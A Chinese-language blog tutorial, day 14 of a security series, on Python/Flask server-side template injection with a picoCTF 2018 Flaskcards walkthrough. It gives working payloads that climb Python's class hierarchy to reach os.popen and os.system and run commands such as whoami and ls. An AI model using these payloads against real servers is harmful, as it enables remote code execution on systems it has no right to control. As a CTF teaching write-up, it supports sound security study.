iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 14
0
Security

資訊安全的美味雜炊系列 第 14

[Day14] - SSTI(Server-side template injection)(2)

  • 分享至 

  • xImage
  •  

Day14 - SSTI(Server-side template injection) (2)

前言

  • 昨天主要講解了SSTI的原理,今天主要著重在實戰以及魔法函數的利用

黑魔法

魔法函數 配上 繼承

  • 我們可以一個資料型態(ex: str, list, dict...),先透過繼承找到原object所在的class

  • 利用__bases__

"".__class__.__bases__
[].__class__.__bases__
{}.__class__.__bases__
  • 也有另外一招,使用__mro__,因為__mro__是繼承鍊,想當然base class也會在裡面
"".__class__.__mro__[-1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
  • 接下來在base class往下找能夠利用的derived class,大概像以下這樣
"".__class__.__bases__[0].__subclasses__()
  • 可以用個for迴圈幫助找們找到能利用的class
for i in enumerate("".__class__.__bases__[0].__subclasses__()):
	print(i)

# 常見能用的如下
# (118, <class 'os._wrap_close'>)
# (165, <class 'warnings.WarningMessage'>)

Python3

  • 接下來舉個範例,我們不透過import來讀檔案
    • 因為有os的class,我們就能夠利用popenfunction,做到Remote Control Execute
      • 先利用__init__將class instance,接著利用__globals__popen拉出來,
      • 有popen就能利用了
 "".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']("type C:\\Users\\halloworld\\Desktop\\flag.txt").read()
# 'I am flag'

Python2

  • python2可以利用linecache

  • 老樣子,我們看一下能利用classes

    • 我們要用的是warnings中的linecache
for i in enumerate("".__class__.__mro__[-1].__subclasses__()):
	print i
# (59, <class 'warnings.catch_warnings'>)
  • linecache能夠高效率的取得其他模組的原始碼,這時候我們試試看用他來import os
    • 恩,就可R以CE了
"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
# root
# 0

實戰 - PicoCTF 2018

  • 我們拿2018 picoCTF做示範,裡面有提SSTI的題目

Flaskcards

Question

Hint

  • Are there any common vulnerabilities with the backend of the website?
  • Is there anywhere that filtering doesn't get applied?
  • The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

solve

  • 一個登入介面,題目又是跟Flask有關,合理推斷應該跟SSTI注入有關

  • 先試試看url,結果甚麼事都沒發生

  • 註冊個帳號,登入看看有甚麼額外功能

  • 很像有個create card,感覺可以試試看注入,回到List Cards,真的可以耶

  • 試著查看設定config

    • 恩這邊有個Flag

試著Remote Control Execute

  • 用我們剛才學的,先找出os._wrap_close()
    • 整理一下吐出來的class,發現167是他,結果發現可以RCE
    {{ "".__class__.__mro__[-1].__subclasses__()[167].__init__.__globals__['popen']("ls").read() }}
    
    • 我記得這邊應該有flag的,但怎麼消失了

結尾

  • SSTI不只是只有python-flask而已,凡是模板引擎都有機會觸發注入
  • reference裡面有更多技巧,我筆記下的只是冰山一角而已,有興趣都可以繼續往下深入研究

ref

Payload


上一篇
[Day13] - SSTI (Server-side template injection)
下一篇
[Day15] - XXE
系列文
資訊安全的美味雜炊30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言